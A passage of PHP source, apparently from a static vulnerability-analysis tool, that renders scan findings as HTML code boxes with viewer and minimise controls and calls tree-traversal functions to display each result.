$tree)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\techo '<div class=\"codebox\"><table border=0>',\"\\n\",\n\t\t\t\t\t\t\t\t'<tr><td valign=\"top\" nowrap>',\"\\n\",\n\t\t\t\t\t\t\t\t'<div class=\"fileico\" title=\"review code\" ',\n\t\t\t\t\t\t\t\t'onClick=\"openCodeViewer(this,\\'',\n\t\t\t\t\t\t\t\taddslashes($tree->filename), '\\',\\'',\n\t\t\t\t\t\t\t\timplode(',', $tree->lines), '\\');\"></div>'.\"\\n\",\n\t\t\t\t\t\t\t\t'<div id=\"pic',key($output),$tree->lines[0],'\" class=\"minusico\" title=\"minimize\"',\n\t\t\t\t\t\t\t\t' onClick=\"hide(\\'',addslashes(key($output)),$tree->lines[0],'\\')\"></div><br />',\"\\n\";\n\n\t\t\t\t\t\t\t\techo '</td><td><span class=\"vulntitle\">The return value of the sensitive sink is embedded into the HTML output.</span>',\n\t\t\t\t\t\t\t\t'<div class=\"code\" id=\"',key($output),$tree->lines[0],'\">',\"\\n\";\n\n\t\t\t\t\t\t\t\tif($treestyle == 1)\n\t\t\t\t\t\t\t\t\ttraverseBottomUp($tree);\n\t\t\t\t\t\t\t\telse if($treestyle == 2)\n\t\t\t\t\t\t\t\t\ttraverseTopDown($tree);\n\n\t\t\t\t\t\t\t\t\techo '<ul><li>',\"\\n\";\n\t\t\t\t\t\t\t\tdependenciesTraverse($tree);\n\t\t\t\t\t\t\t\techo '</li></ul>',\"\\n\",\t'</div>',\"\\n\", '</td></tr></table></div>',\"\\n\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\techo '</div></div><div style=\"height:20px\"></div></div>',\"\\n\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t}\n\t\t\t}\n\t\t\twhile(next($output));\n\t\t}\n?>\n"
  }
]